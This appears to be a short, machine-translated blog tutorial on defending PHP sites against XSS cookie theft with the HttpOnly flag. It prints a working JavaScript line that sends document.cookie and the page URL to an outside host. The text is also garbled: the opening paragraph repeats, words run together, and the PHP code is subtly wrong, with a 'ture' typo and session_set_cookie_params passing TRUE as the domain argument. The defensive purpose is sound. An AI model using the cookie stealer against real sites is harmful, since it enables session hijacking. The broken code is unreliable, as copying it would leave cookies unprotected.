Use HttpOnly to defend against xss attacks

The concept of xss is needless to say, and its harm is enormous. This means that once your website has an xss vulnerability, you can execute arbitrary js code, the most terrible thing is that attackers use JavaScript to obtain cookies or session hijacking. if a large amount of sensitive information is contained

The concept of xss is needless to say, and its harm is extremely great, which means that once your website appearsXss vulnerabilityAttackers can execute arbitrary js code. the most terrible thing is that attackers use JavaScript to obtain cookies or session hijacking. if a large amount of sensitive information (such as identity information and administrator information) is contained, that's all...

Obtain cookie information using the following js:

　url=document.top.location.href;　cookie=document.cookie;　c=new Image();　c.src=’http://www.phpddt.com/c.php?c=’+cookie+’&u=’+url;

Generally, cookies are obtained from the document Object. now, when setting cookies, the browser generally accepts a parameter called HttpOnly, which is the same as other parameters such as domain. once this HttpOnly is set, you cannot see the Cookie in the document object of the browser.
Set HttpOnly in PHP:

// In php. ini, session. cookie_httponly = ture to enable the HttpOnly attribute ini_set ("session. cookie_httponly ", 1); // or set the seventh parameter of setcookie () to truesession_set_cookie_params (0, NULL, TRUE );

For PHP versions earlier than PHP5.1:

 header("Set-Cookie: hidden=value; httpOnly");

Finally, HttpOnly is not omnipotent!